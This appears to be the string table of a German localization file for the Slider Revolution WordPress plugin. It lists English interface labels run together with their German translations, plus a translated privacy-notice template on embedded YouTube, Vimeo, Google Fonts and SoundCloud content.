Type (image,video,html)Layer as jQuery ObjectLayer is GlobalLayer optionsLayer with ActionLayersLayers ImportingLayers Overflow HiddenLayers SpeedLayers VisibleLayers are SelectableLayers default EnabledLayoutLazy LoadingLeave without SaveLeaving current PageLeftLeft ArrowLeft BottomLeft CornerLeft SpikeLeft TopLeft/Right Arrow KeysLessLevelLicense validation issue Occured. Please contact our Support.Limit ExcerptLineLine BreakLine-throughLink & SeoLink ActionsLink TargetLink TypeLink URLLink to SlideLink to WP Home PageLink to current pageList of Pages to include Revslider Libraries List of categories with linksList of categories without linksList of tags with linksLoadLoad Loop TemplateLoaded Google FontsLoadingLoading CodeMirror Library...Loading ConfigurationLoading Content...Loading ErrorLoading Error: Loading Thumbnails...Loading TypeLock / Unlock SelectedLock/Unlock SelectedLoopLoop All Layer TimelineLoop AmountLoop LayerLoop LayersLoop Media - Do Not Pause SlideLoop Media - Pause SlideLoop ModeLoop One SlideLoop TemplateLorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt.Los AngelesLow ResolutionLowercaseMODULEMPEGMain StyleManual ImportMarked LayersMarkupMarkup MetaMaskMax Blur StrengthMax PostsMax SlidesMax WidthMax. Post Size (256M)Max. Res.Max. VisibleMedia ActionsMedia ContentMedia LibraryMedia PosterMedia Volume (0-100)MediumMedium 640Medium 800Memory Limit (256M)MetaMeta ConfigMeta DataMeta DatasMeta ValuesMethodsMiddleMiddle To EdgeMin HeightMin. FingerMobileMobile SettingsMobile Swipe EnabledModule .zipModule Admin ThumbnailModule BackgroundModule ClassesModule Creation GuideModule DefaultsModule DimensionModule DimensionsModule Fixed FromModule Fixed UntilModule General OptionsModule IDModule NamingModule Position within WrapperModule TemplatesModule TypeModulesMonospace FontsMoreMouseMouse EnterMouse Enter PointMouse InteractionMouse LeaveMouse MoveMouse Move & ScrollMouse Scroll NavigationMouse Scroll SettingsMouse SpeedMoveMultiple SelectionMusic HallMute MediaMute at StartNav EditorNav Image DimensionsNavig. ThumbNavigation EditorNavigation OptionsNavigation StyleNavigation could not be deletedNavigation not found, could not add presetNavigation not found, could not delete presetNavigation preset deletedNavigation preset saved/updatedNeed Attention by removingNew Blank ModuleNew FolderNew Module from TemplateNew Version Available. Please UpdateNew WindowNewsNext / PreviousNext FrameNext MonthNext SlideNext Slide at EndNext StepNext on Browser FocusNo API KEY - Could not fetch flickr photosetsNo Action SelectedNo CornerNo Data ReceivedNo Email givenNo FollowNo InteractionNo Layers SelectedNo Lazy LoadingNo LoopNo Poster on MobileNo ShadowNo Sliders found, Please create a Slider firstNo Special EffectNo SpikesNo Sticky KeyframesNo StyleNo User URL - Could not fetch flickr photosetsNo data receivedNo file sent.No further source settings needed. Content is created manually.No options available for your current selection.No response on actionNo slides found, please add at least one Slide Template to the choosen language.No slides found, please add some slidesNoneNone of the Settings changed. There is Nothing to SaveNormalNot ActivatedNot Enough space between Frames.Not InstalledNotebookNothing SelectedNumber Of CommentsNumber Of SalesNumber of CommentsNumber of LikesNumber of RatingsNumber of ReviewsNumber of ViewsNumber of commentsOBJECTOGVOUTObject LibraryObject could not be loadedObjectsOffOffset (Tilt) EffectOffset to Scroll PositionOnOn - Skip 1st Time SlideOn Background EnabledOn IE8On MobileOn Mobile and IE8On ScrollOn Scroll DetailsOn Scroll can be Added per Slider in the General OptionsOn StageOnly 1st Time Slide shownOnly Manual <br/>Only Poster on MobileOoppps....Open DocumentOpen ModalOpen SlideOpen Slider ModalOpeningOption is depricated and will be removed in upcoming updates !Optional Font Loading URLOptional OGV SourceOptional WEBM SourceOrange CountryOrientationOriginOriginalOriginal SizeOther 1. SlideOther FoldersOuter HorizontalOuter VerticalOutput FilterOver Layers (Front)OverflowOverlayOverlineOverride Style on SlideOverwrite Template ?Own ModulesPACKAGEPackagePage URLPage is reloading...Pages (example: 2,10):Pan Zoom SettingsParallaxParallax & 3DParallax & 3D SettingsParallax EnabledParallax LevelParallax Orig.Parallax is now generally EnabledParameter 1Parameter 10Parameter 2Parameter 3Parameter 4Parameter 5Parameter 6Parameter 7Parameter 8Parameter 9ParametersParamsParent LevelPastPastePausePause SliderPer PagePermissionPhotosetPick an ItemPlace the shortcode on the page or post where you want to show this modal.Place the shortcode on the page or post where you want to show this module.PlaceholderPlay SlidePlaylistPlease register your application with Twitter
            to get the right valuesPlease register your Website app with Facebook
            to get the right valuesPlease Wait a MomentPlease Wait a momentPlease Wait...Please activate Slider RevolutionPlease add at least one Layer.Please follow this link to edit the Slider:Please select an Addon to start with.Please select the correct zip file, checksum failed!Plugin UpdatesPlugin deregisteredPlugin is not RegisteredPlugin not activatedPlugin successfully activatedPointer EventPopularPopular PostsPositionPosition & SizePostPost AliasPost BasicsPost Categories, Tags and CommentsPost ContentPost DetailsPost ExcerptPost IDPost SelectionPost TitlePost Types:Post contentPost content limit by charsPost content limit by wordsPost-BasedPoster ImagePoster from Stream if existPoster in PausePostsPreloadPrepared for slide changePreparing Data...PresetPreset could not be saved/values are the samePreset handle already exists, please choose a different namePreset not foundPreset not found in default navigationsPresetsPrev SizePrev. Slide as jQuery ObjectPreviewPreview ImagePrevious FramePrevious SlidePrevious Slide as jQuery ObjectPrevious StepProcessing Import ofProductProduct CategoriesProduct VariationProgressProgress BarPub. RulesPublishPublishedPurchase Code already registered!Purchase Code could not be validatedPurchase Code is invalidPurchase Code was locked, please contact the ThemePunch support!Put JS to BodyQuick StyleQuick Style ContentQuick Style HeadlineQuit GuideRTL DirectionRandomRandom OrderRe-Download OnlineReTweetsRead here how to receive your Flickr API keyRecalculate all positions, sizing etc in the slider. This should be called i.e. if Slider was invisible and becomes visible without any window resize event.RecentRecent PostsRectangleRedirecting to Overview PageRedraw SliderRefresh SourceRegister Purchase CodeRegister Slider Revolution
            to Unlock Premium FeaturesRegister this CodeRegister to UnlockRegister to Unlock all FeaturesRegister to unlock AddOnsRegister to unlock LibraryRegister to unlock Premium FeaturesRegister to unlock SupportRegister to unlock TemplatesRegister to unlock UpdatesRegister to unlock all Premium FeaturesRegisteredRegularRegular PriceRelRelatedRelease to Upload fileReload PageRemoveRemove One Slide with Slide Index from the Slider. Index starts with 0 which will remove the first slide.Remove PosterRemove SlideRenameRepeatRepliesRequirementsResetReset Children TimelineReset Children TimelinesReset StyleReset before each LoopResize Between DevicesRespect RatioResponisvityResponsive BehaviorResponsive Between DevicesResponsive ChildrenResponsive OffsetsResponsivityRestriction !
            Children Layers of Group, Column and Row will simply restart, without animation from the last loop Frame to first loop frame, independent of the Animate to "start" in Loop enabled option.Resume SliderRetweet CountReverseReverse "IN"Reverse ScrollRevolution Slider 6Revolution Slider Error:Rewind at StartRightRight ArrowRight BottomRight CornerRight SpikeRight TopRootRoot LevelRotateRotationRowRow PositionRow SettingsSFXSKUSVGSVG ColorSVG Hover StyleSVG'sSale PriceSame WindowSans-Serif FontsSaveSave & ReloadSave ConfigurationSave Current TemplateSave Global SettingsSave NavigationSave your project & reload the page or cancelSavedSaving SlideScaleSceneScroll Based FeaturesScroll Based Timeline is now generally EnabledScroll EffectsScroll Effects DefaultScroll Effects SettingsScroll OffsetScroll PositionScroll To IDScroll based EffectsScroll below SliderScroll page under the slider.Scroll to IDSearchSearch Icons...Search Modules...See how to find the Youtube channel ID hereSelectSelect / Edit SliderSelect AlbumSelect PlaylistSelect a LayerSelectableSensibilitySerif FontsSet All VisibleSet a Slide Background Image to use this featureSet all TimingsSet as Editor ViewSettingsSetup NotesShadowShadow ColorShadow TypeShadow onShapeShape Layer ContentSharp Corner ExtensionsShortcodeShortcode GeneratorShortcode could not be parsed.Shortcode parsing successfull. Items can be found in step 3ShowShow AllShow AlwaysShow DelayShow Highlight BoxesShow Last Edited SlideShow SpeedShow all ModulesShow if mouse over SliderShow in EditorShow/Hide SelectedSign UpSignup to our NewsletterSimple LinkSimplify on IOS4 / IE8Simulate ClickSingleSingle Layer StickySingle PriceSingle Price without currencySingle SelectSizeSize & PosSize PresetsSizingSkip PreloadSlide ActionsSlide AnimationSlide BG AnimationSlide DescriptionSlide Direction based MirroringSlide DurationSlide From TemplateSlide HTML TagsSlide IDSlide Lang.Slide LengthSlide LinkSlide OptionsSlide SavedSlide TitleSlide could not be duplicatedSlide duplication failedSlide has no LayersSlide not foundSlide not found in the main slides of the slider. Maybe itSliderSlider After SwapSlider Before SwapSlider CenterSlider DeletedSlider Import FailedSlider LayoutSlider LoadedSlider Moved to FolderSlider Overflow HiddenSlider RevolutionSlider Revolution - Premium responsive sliderSlider Revolution AddonsSlider Revolution Plugin updated Failure:Slider Revolution Plugin updated Successfully toSlider Revolution Plugin updated Successfully.Slider Revolution PreviewSlider Revolution Shortcode CreatorSlider Revolution VersionSlider Revolution database structure was updatedSlider Revolution encountered the following error: Slider Revolution:Slider SettingsSlider StoppedSlider Timer keep goingSlider Timer pausedSlider as ModalSlider could not be loadedSlider is Playing after pauseSlider not foundSlider pausedSlider reached the 'stop at' slideSlider swapped to an other slideSlidesSlides (<25)Slides (<500)Slides (<60)Slides default EnabledSlides:SlideshowSlot AmountSlugSmallSmall 320SmartSocialSocial Basics (Flickr, Instagram, Twitter, Facebook, YouTube)SolidSome AddOns have new versions availableSome Layers are Locked and/or Invisible.
            Change Status in Timeline.Some Settings in Slider Source may not complete.
            Please Complete All Settings in Slider Sources.Sorry, this Social Stream cannot be displayed.Sort DirectionSort Posts By:Sort Prod. BySort by CreationSort by TitleSorting & LimitationsSorting & SettingsSourceSource SizeSource TypeSource must be from StreamSource:SpacingsSpanSpecific PostSpecific PostsSpeedSpike MasksSpike WidthSpinnerSpinner ColorSpinner SettingsSplit CharsSplit LinesSplit WordsSquareStandardStandard Module EmbeddingStandard ResolutionStar RatingStartStart EarlierStart FrameStart GuideStart MediaStart SliderStaticStatic LayerStay in EdiorStock QuantityStop MediaStop Other MediaStop Slider ProgressStop after N LoopsStop on HoverStretchStretch SlidesStroke ColorStyleStyle GlobalStyle on SlideSuccess! Please check your E-Mails to finish the subscriptionSuccessfully fetched Facebook albumsSuccessfully fetched YouTube playlistsSuccessfully fetched flickr photosetsSupportSwipe DirSwipe SettingsSwitch slider to next slide.Switch slider to previous slide.Switch to the slide which is defined as parameter.Sytem RequirementsTabIndexTabletTabsTabs StyleTabs TypeTabs VisibilityTag1, Tag2, Tag3TagsTags & LinkTags UpdatedTargetTarget LayerTemplate & Object LibraryTemplate Slider Import FailedTemplate Slider Installation FailedTextText AlignText ColorText RatingText ShadowText TweetsText/Button Layer ContentThe Current Size is set to "Auto Size". Do you want to continue with Custom Size?The Current Size is set to calculate the Layer grid sizes Automatically.
            Do you want to continue with Custom Sizes or do you want to keep the Automatically generated sizes ?The Purchase Code needs to be set!The WPML plugin is not activatedThe changes you made require a page reload!The changes you made will be lost!The following AddOns require an update:The link to the postThe “Vimeo Stream” content source is used to display a full stream of videos from a user/album/group/channel.
            If you want to display a single vimeo video, please select the content source “Default Slider” and add a video layer in the slide editor.The “YouTube Stream” content source is used to display a full stream of videos from a channel/playlist.
            If you want to display a single youtube video, please select the content source “Default Slider” and add a video layer in the slide editor.ThemePunchThemePunch ServerThis Guide will help you with the basic configuration *
            of your Slider Revolution 6 Module.This MonthThis Source Type must be from posts.This action can not be undone !!This can be Undone only within the Current session.Three SpikesThumb TypeThumbnailThumbsThumbs StyleThumbs VisibilityTimeLineTimelineTimeline Scroll BasedTimelines Scroll basedTimer PausedTimer ResumedTitleTitle DescendingTitle updatedToTo AdminTo Editor, AdminTo SlideTo Use it as Modal on pages and posts editor insert the Shortcode:To add the slider only to single Pages, use:To add the slider only to the homepage, use:TodayToggleToggle "N/M" FramesToggle 1st / Last FrameToggle ClassToggle Document Body Class on Open and Close of the Modal.Toggle FullscreenToggle MediaToggle Mute All MediaToggle Mute MediaToggle SliderToggle Start StateToggled (Visible)Toggled in Hover StyleTomorrowTopTouchTransform IdleTransitionsTransparentTrigger MemoryTriggered ByTriggered byTwitterTwitter @Twitter ExtrasTwitter SettingsTwo SpikesTypeTypesTypes & CategoriesURLUSUSAUnbind all listeners, remove current animations and delete containers. Ready for Garbage collection.Under MaskUnderlineUnlock AllUnmute MediaUnpublishedUnregisteredUnselectableUnsortedUntoggled (Hidden)Up/Down Arrow KeysUpdate AllUpdate HistoryUpdate LaterUpdate ListUpdate NowUpdate PluginUpdate RowUpdatesUpdates, New Products, SpotlightsUpdatingUpdating ListsUpdating Plugin FailedUpdating Plugin...Updating the Plugin may take a few moments.Upload Max. Filesize (256M)Upload folder writableUppercaseUse Clip PathUse CoverUse Custom SizesUse Default on...Use Full Screen or Full Width Layout to Use Fixed Scroll.Use ImageUse LineBreaks only in ColumnsUse MaskingUse Slide LoopUse ToggleUse WPML SettingsUserUser Name:User PhotosetUser Public PhotosUser URL:UsernameUsing this data is only allowed with a valid licence of the jQuery Slider Revolution Plugin, which can be found at CodeCanyon: http://codecanyon.net/item/slider-revolution-responsive-jquery-plugin/2580848?ref=themepunchVIDEOVelocityVerticalVertical AlignVideoVideo APIVideo IDVideo SettingsVideo cover could not be loadedVideo from Stream if existVideo from Stream if existsVideo in Active SlideVideo is playingVideo is playing in sliderVideo is stoppedVideo stopped in sliderVideosView all posts in %sViewPort StopViewsVimeoVimeo ExtrasVimeo IDVimeo SettingsVimeo ThumbVimeo VideoVisibilityVisibleVisible amountVisible in NavigationVisit PageWAITWC Category1, WC Category2WC Tag 1, WC Tag 2, WC Tag 3WEBMWPMLWaitWait for APIWait for ActionWarningWelcome to Slider Revolution 6What should happen Next?Whats New?Where do you want to move the Inherited Layers?Width Attrib.Width BasedWooCommerceWooCommerce BasicsWooCommerce PricesWooCommerce RatingsWooCommerce StockWordWordPress LibraryWordpress Multi LanguageWrapperWrapper ClassesWrapper ContainerWrapper IDWrapper Max HeightWrapping TagWrong RequestWrong category formatWrong export slider file format! Please make sure that the uploaded file is either a zip file with a correct slider_export.txt in the root of it or an valid slider_export.txt file.Wrong request!X% Y%Yes, Delete All Slider(s)Yes, Delete SlideYes, Delete SliderYes, Export SliderYou are running Slider Revolution YouTubeYouTube ExtrasYouTube IDYouTube PosterYouTube SettingsYouTube ThumbYouTube VideoYoutubeYoyoZ PositionZoom InZoom Out_blank_parent_self_topand/or add the current page to the as HTML Documentautoby Containerby PX or %center bottomcenter centercenter topclass Name to Togglecoma separated list | ex: 23,24,25could not find correct Slide to copy, please try again.enter-a-module-namefromhttp://yoursite.com/addtocart.phphttp://yoursite.com/homehttp://yoursite.com/pagehttp://yoursite.com/posthttp://yoursite/media/avatar.jpghttp://yoursite/user/pagehttp://yoursite/user/posthttps://revolution.themepunch.com/https://themepunch.com/i.e. 0:15i.e. 1200i.e. 2:41ie. http://fonts.useso.com/css?family for chinese Environmentin the "Global Settings" of Slider Revolution.jQuery & OutPut FiltersjQuery No Conflict ModejQuery TriggeredjavaScript Functionleft bottomleft centerleft topnoneon Actionorright bottomright centerright topslider_export.txt does not exist!tox1.5x2xxxx xxxx xxxx xxxxyoutube, vimeo, html5zIndexProject-Id-Version: Slider Revolution Report-Msgid-Bugs-To: POT-Creation-Date: 2019-06-28 07:35+0000 POT-Revision-Date: Tue Aug 04 2015 14:53:44 GMT+0200 (CEST) PO-Revision-Date: 2019-11-12 08:18+0000 Last-Translator: admin Language-Team: German Language: de_DE Plural-Forms: nplurals=2; plural=n != 1; MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Poedit-SourceCharset: UTF-8 X-Poedit-Basepath: . X-Poedit-KeywordsList: __;_e;_:1;gettext:1;dgettext:2;ngettext:1,2;dngettext:2,3;__:1;_e:1;_c:1;_n:1,2;_n_noop:1,2;_nc:1,2;__ngettext:1,2;__ngettext_noop:1,2;_x:1,2c;_ex:1,2c;_nx:1,2,4c;_nx_noop:1,2,3c;_n_js:1,2;_nx_js:1,2,3c;esc_attr__:1;esc_html__:1;esc_attr_e:1;esc_html_e:1;esc_attr_x:1,2c;esc_html_x:1,2c;comments_number_link:2,3;t:1;st:1;trans:1;transChoice:1,2 X-Loco-Target-Locale: en_US X-Generator: Loco https://localise.biz/ X-Loco-Version: 2.3.1; wp-5.2.4 X-Poedit-SearchPath-0: .. nicht gefunden! sollte numerisch sein sollte nicht leer sein"Alt" Attr."RevSlider-Bibliotheken global einbeziehen" "M" wartet auf Aktion"N" wartet auf Aktion"Seiten mit RevSlider-Bibliotheken" Option "Titel" Attr.#$9.99© Copyright & Lizenzinfo< a> Tag-Link<h1><h2><h3><h4><h5><h6><p><rs-layer><span>(x%, y%)* Alle im Handbuch vorgenommenen Einstellungen können später geändert werden.
            Klicken Sie auf das Hilfesymbol , um Optionen und Dokumentation anzuzeigen--- Slider auswählen ---04.03.201805.03.201808.03.20181 Purchase Code pro Website1 Purchase Code pro Website!1 Spike Unten1 Spike Mitte1 Spike Oben1.1,85: 11/21/410.11.1212.12412491313.14.14.09.201914:0015.16:917.09.2019178618.08.201819198241zu1-Unterstützung1. Frame2 x 2 Schwarz2 x 2 Weiß2.2.39: 12021221:00243 x 3 Schwarz3 x 3 Weiß3.321383D Crop Fix (z)3D Effekte aktiviert3D Einstellungen4.457819474:355.6.7.8.99.9.99

            Wenn Sie Google Web Fonts (Standardeinstellung) verwenden oder Videos oder Sounds über YouTube oder Vimeo in Slider Revolution abspielen, empfehlen wir, der Privacy Police die entsprechende Textphrase hinzuzufügen: n t t

            YouTube

            Unsere Website verwendet Plugins von YouTube, die von Google betrieben werden. Der Betreiber der Seiten ist YouTube LLC, 901 Cherry Ave., San Bruno, CA 94066, USA.

            Wenn Sie eine unserer Seiten mit einem YouTube-Plugin besuchen, wird eine Verbindung zu den YouTube-Servern hergestellt. Hier wird dem YouTube-Server mitgeteilt, welche unserer Seiten Sie besucht haben.

            Wenn Sie in Ihrem YouTube-Konto angemeldet sind, können Sie Ihr Surfverhalten direkt mit Ihrem persönlichen Profil verknüpfen. Sie können dies verhindern, indem Sie sich von Ihrem YouTube-Konto abmelden.

            YouTube wird verwendet, um unsere Website ansprechend zu gestalten. Dies ist ein berechtigtes Interesse im Sinne von Art. 6 (1) (f) DSGVO.

            Weitere Informationen zum Umgang mit Nutzerdaten finden Sie in der Datenschutzerklärung von YouTube unter https://www.google.de/intl/de/policies/privacy . n t t < h3> Vimeo

            Unsere Website verwendet Funktionen des Vimeo-Videoportals. Dieser Service wird von Vimeo Inc., 555 West 18th Street, New York, 10011 New York, USA, bereitgestellt.

            Wenn Sie eine unserer Seiten mit einem Vimeo-Plugin besuchen, wird eine Verbindung zu den Vimeo-Servern hergestellt . Hier wird dem Vimeo-Server mitgeteilt, welche unserer Seiten Sie besucht haben. Außerdem erhält Vimeo Ihre IP-Adresse. Dies gilt auch, wenn Sie beim Besuch unseres Plugins nicht bei Vimeo angemeldet sind oder keinen Vimeo-Account haben. Die Informationen werden an einen Vimeo-Server in den USA übertragen und dort gespeichert.

            Wenn Sie in Ihrem Vimeo-Konto angemeldet sind, können Sie mit Vimeo Ihr Surfverhalten direkt mit Ihrem persönlichen Profil verknüpfen. Sie können dies verhindern, indem Sie sich von Ihrem Vimeo-Konto abmelden.

            Weitere Informationen zum Umgang mit Benutzerdaten finden Sie in den Vimeo-Datenschutzbestimmungen unter https://vimeo.com/privacy . n t t

            Google Webfonts

            Für Diese Seite verwendet von Google bereitgestellte Web-Schriftarten. Wenn Sie eine Seite öffnen, lädt Ihr Browser die erforderlichen Web-Schriftarten in Ihren Browser-Cache, um Texte und Schriftarten korrekt anzuzeigen.

            Zu diesem Zweck muss Ihr Browser eine direkte Verbindung mit den Servern von Google herstellen. Google wird dadurch bewusst, dass unsere Webseite über Ihre IP-Adresse aufgerufen wurde. Die Verwendung von Google Webfonts erfolgt im Interesse einer einheitlichen und ansprechenden Darstellung unseres Plugins. Dies ist ein berechtigtes Interesse im Sinne von Art. 6 (1) (f) DSGVO.

            Wenn Ihr Browser keine Web-Schriftarten unterstützt, wird von Ihrem Computer eine Standard-Schrift verwendet.

            Weitere Informationen zum Umgang mit Benutzerdaten können sein finden Sie unter https://developers.google.com/fonts/faq und in Google-Datenschutzbestimmungen unter https://www.google.com/policies/privacy/. n t t

            SoundCloud

            Auf unseren Seiten befinden sich Plugins des sozialen Netzwerks SoundCloud (SoundCloud Limited, Berners House, 47-48 Berners Street, London W1T 3NF , UK) kann integriert werden. Die SoundCloud-Plugins sind an dem SoundCloud-Logo auf unserer Site zu erkennen. n t t t

            Wenn Sie unsere Site besuchen, wird über das Plugin eine direkte Verbindung zwischen Ihrem Browser und dem SoundCloud-Server hergestellt . Dadurch kann SoundCloud von Ihrer IP-Adresse Informationen erhalten, die Sie auf unserer Website abgerufen haben. Wenn Sie auf die Schaltflächen "Gefällt mir" oder "Teilen" klicken, während Sie in Ihrem SoundCloud-Konto angemeldet sind, können Sie den Inhalt unserer Seiten mit Ihrem SoundCloud-Profil verknüpfen. Dies bedeutet, dass SoundCloud Besuche auf unseren Seiten Ihrem Benutzerkonto zuordnen kann. Wir weisen darauf hin, dass wir als Anbieter der Seiten keine Kenntnis vom Inhalt der übermittelten Daten sowie deren Nutzung durch SoundCloud erhalten. Weitere Informationen zu den Datenschutzbestimmungen von SoundCloud finden Sie unter https://soundcloud.com/pages/privacy.

            Wenn Sie nicht möchten, dass SoundCloud Ihren Besuch auf unserer Website mit Ihrem SoundCloud-Konto verknüpft, melden Sie sich bitte an aus Ihrem SoundCloud-Konto. Ein Slider mit dem angegebenen Alias existiert bereitsEine neue Version von Slider Revolution ist verfügbar.API-SchlüsselAPP IDAPP SecretAccess SecretAccess TokenAktionsverzögerungAktion erforderlichAktionstypAktionenAddon aktivierenGlobales Addon aktivierenLizenz aktivierenAktivieren Sie Slider Revolution für Premium-Vorteile (z. B. Live-Updates) .Aktivieren zum AktualisierenAktiviertAktiviere AddonAktivierungAktive Übergangs-ReihenfolgeAktion hinzufügen zu Ordner hinzufügenLayer hinzufügenZeilenumbruch danach hinzufügenZeilenumbruch davor hinzufügenNeues Meta hinzufügenNeue Navigation hinzufügen Slide(s) hinzufügenSlider als Modal hinzufügenIn den Warenkorb legenÜbergang hinzufügenIn den Warenkorb ButtonZum Warenkorb hinzufügen URLZur Auswahl hinzufügenAdd-OnAdd-OnsAddOn konnte nicht aktiviert werdenAddOn konnte nicht deaktiviert werdenAddOn deaktiviertAddonsAddOns veraltet. Bitte aktualisierenAddOns brauchen AufmerksamkeitNeues leeres Modul hinzufügen ...ZusätzlichAddon erforderlichAddonsAdmin MiniaturansichtErw. StilFortgeschrittenErweiterte AktionenErweiterte Modul EinbettungErweiterte EinstellungenErweiterte MedieneinstellungenNach der AktionAlbumAliasAusrichtungAusrichtenAusgerichtet anAllesAlle VeranstaltungenAlle SprachenAlle LayerVollbild erlaubenAlt. BildAnzahl der SlidesBeim Importieren ist ein Fehler aufgetretenAnimation vonAnimation zuAnimiere vonAnimiere zu "Start" im LoopAnimationAnimationsdauerAnimationsdauer in msAnimation EaseAnimationsvorlageAnimation AnsichtAnimation konnte nicht gespeichert werdenAnimation gelöschtAnimation gespeichertBeliebiges benutzerdefiniertes Meta-TagSind Sie sicher, dass Sie fortfahren möchten?Sind Sie sicher, dass Sie löschen möchten Möchten Sie den ausgewählten Slide wirklich löschen:Möchten Sie wirklich exportieren? ArgumentePfeilstilPfeilartPfeileAls ModalAufsteigendSeitenverhältnisAn HG anhängenAttributeAudioAudio Wave Library wird geladen ...AutorAutor Avatar URL (Größe in px)Autor Beiträge SeiteWebsite des AutorsName des AutorsAutor, Herausgeber, AdminAutoAuto PlayAutomatisch drehenAuto Rotate SlideshowVerfügbare VersionBG & SpaceHG 3D TiefeHG FarbeHG FilterHG FitHG BildHG GeschwindigkeitHG in FrameZurückZurück zur ÜbersichtHintergrundHintergrundfarbeHintergrund HoverHintergrundvideoRückwärtsUngültige AnforderungBasicGrundlegende MetasGrundlegende TransformationenGrundlagenInhaber-Token ist gut, überprüfen Sie Ihre AnfrageVerhaltenHinter Layer (Rückseite)Leere Seite erstelltLeere Seite wurde erstellt:Leerer SlideMischmodusBlockBlockfarbeScroll blockierenBlock nach untenBlock nach linksBlock nach rechtsBlock nach obenVerwischenBody KlasseRandRandfarbeRand HoverRandstilRand, Overall und SchattenBeideUntenBox SchattenPause beiBrowser BreiteBrowserverhaltenErstellen von AuswahlfeldernMehrere SlidesBulletsBullets StilBullets TypBullets SichtbarkeitButtonButtonsDurch Komprimieren der AusgabeDurch Echo AusgabeCSSCSS / JS EditorBENUTZERDEFINIERTES CSSBENUTZERDEFINIERTES JSCache (Sek.)Cache (Sek.):Call BackRufen Sie diese Funktion auf, um den Slider zu pausieren.Rufen Sie diese Funktion auf, um den Slider zu starten, wenn er pausiert wird.Rufe diese Funktion auf, um Slider zu starten.Darf nicht leer seinKann nicht im Editor gerendert werden. Bitte Vorschau im Frontend.Es kann keine programmgesteuerte Verbindung zu den ThemePunch-Servern hergestellt werden. Überprüfen Sie die Einstellungen Ihres WebserversZIP-Datei kann nicht erstellt werden: Standardvoreinstellung der Standardnavigation kann nicht gelöscht werdenDer Inhaber-Token kann nicht abgerufen werden. Überprüfen Sie Ihre AnmeldeinformationenStandardvoreinstellung der Standardnavigation kann nicht geändert werdenIch kann nicht in den Upload-Ordner von WordPress schreiben. Bitte ändern Sie die Berechtigungen und versuchen Sie es erneut!Die Datei kann nicht in den Upload-Ordner von WordPress geschrieben werden. Bitte ändern Sie die Berechtigungen und versuchen Sie es erneut!AbbrechenAbbrechen & Später neu ladenErster Buchstabe großKarussellKarussellKarussell LayoutKategorienKategorien & TagsKategorien:Kategorie1, Kategorie2, Kategorie3ZentriertMitte - links rechtsMitte - rechts linksMitteldiagonaleVon Ihnen vorgenommene Änderungen werden möglicherweise nicht gespeichert.Ändern der BildschirmgrößeKanalKanal IDZeichenÜberprüfen Sie die AnforderungenAuf Updates prüfenBild wählenWählen Sie einen Revolution SliderWählen Sie ein Slide TemplateWähle SliderVideo wählenKreisKlasseKlasse zum UmschaltenKlassenLeerenAlben geleertFotosets geleertKlickenKlicken zum AuswählenSchließenSchließe Slider ModalFarbeFarbe im RahmenFarbigSpalteneinstellungenSpaltenKommender Slide als jQuery-ObjektKonzertMit ThemePunch verbindenVerbindung zum Update-Server fehlgeschlagenCons. GeheimnisConsumer KeyInhaltInhaltsbasiertInhalt und Breite basiertBedienelementeKopierenEinbettungscode kopierenShortcode kopierenCopyright & Lizenzierung - Slider Revolution LibraryEckenSlide konnte nicht erstellt werdenSlider konnte nicht erstellt werdenFacebook-Alben konnten nicht abgerufen werdenYouTube-Wiedergabelisten konnten nicht abgerufen werdenFlickr-Fotosets konnten nicht abgerufen werdenCoverCover FarbeLeere Seite erstellenErstellung aufsteigendCreditsAktueller

          • IndexAktuelles LevelAktueller BeitragAktueller SlideAktueller Slide als jQuery-ObjektMauszeigerGebogenAngepasstEigener "Alt"Benutzerdefinierter "Titel"Benutzerdefiniertes CSSEigene Inline & Hover CSSEigene MetaEigene SortierungBenutzerdefinierte GrösseBenutzerdefinierte Größe ist derzeit deaktiviertBenutzerdefinierte CSSAnpassungGestricheltDatumÄnderungsdatumErscheinungsdatumErstellungsdatumBearbeitet amDebug ModusEntscheidung Modal TitelModul Höhe verringernVoreinstellungStandard (globale Einstellungen)Standard-GrundlagenStandardbreite für Desktop InhalteStandardbreite mobiler InhalteStandardeinstellungen Neue LayerStandardbreite für Notebook InhalteVoreinstellungStandardeinstellungen für LayerStandardbreite für Tablet InhalteVoreinstellungenVerschieben von JavaScript-LadevorgängenLöschenLöschen aller Slider und Ordner enthalten in Slide löschenSlider löschenVorlage löschen?Slider löschenLöschen fehlgeschlagenAufgekündigte Funktion!
            Nur beim Rendern sichtbar. Begrenzter Einfluss auf gestaltete Ebenen. Benutzerdefiniertes CSS Inline wird in Version 6.2 entferntTiefeDeregistrieren dieses CodesAbmeldung fehlgeschlagen!AbsteigendBeschreibungDesktopDesktop Swipe aktiviertDiagonale vonDiff. AnimAbmessungenRichtungDeaktivierenAddon deaktivierenUnschärfe/Fokus deakt.Globales Addon deaktivierenDeaktiviere Ken B.Mobile deaktivierenSlider deaktivierenDeaktivieren auf MobilDeaktiviertDeaktiviert - zeitbasiertDeaktiviere AddonNachrichten schließenAnzeigeAnzeigemodus in SpalteZeigen Sie einen bestimmten Fotosatz eines Benutzers anGalerie anzeigenZeigen Sie die Fotos einer Gruppe anZeigen Sie die öffentlichen Fotos eines Benutzers anZeigt ein Slider Revolution Modul auf der Seite anTu esMöchten Sie den Update Vorgang starten?DokuErledigtTu es nichtVolle Breite nicht erzwingenGepunktetDoppeltDas Herunterladen der Zip-Datei kann einige Momente dauern.Drag & Drop Import-DateiZum Auswählen ziehenDribbbleDuplikatDuplikation fehlgeschlagenDauerDynamisches Laden des ViewportEQH-1879EX 87 TNTEase SpeedEasingEast 32th Street zwischen Park & Lexington Avn Rand bis MitteSeite bearbeitenEditor-AnsichtEditor wird geladen ...EffektEffekteElementeEinbettenLeerer PlatzhalterAddon aktivierenGlobales Addon aktivierenAktivieren Sie die Loop-EffekteAktivieren Sie SpikesAktivieren Sie Zeitleisten-LoopsAddon für Modul aktivieren/deaktivierenAktiviertAktiviert - scrollbasiertAktivieren des AddonEndeFrame beendenAccess Secret eingebenAccess Token eingebenAlbum-ID eingebenApi Key eingebenKanal Namen eingebenConsumer Key eingebenGeben Sie Container .class oder #id einExterne URL eingebenGeben Sie die URL der Facebook-Seite einVollbildmodus aktivierenGeben Sie die Galerie-URL einGruppenname eingebenGeben Sie die Gruppen-URL einBild-URL eingebenLink eingebenGeben Sie die MPEG-Quelle einVoreingestellten Namen eingeben, um zu speichern oder zu löschenGeben Sie den Purchase Code einSecret eingebenTwitter Name eingebenBenutzername eingebenGeben Sie die Benutzer-URL einVideo ID eingebenGeben Sie die 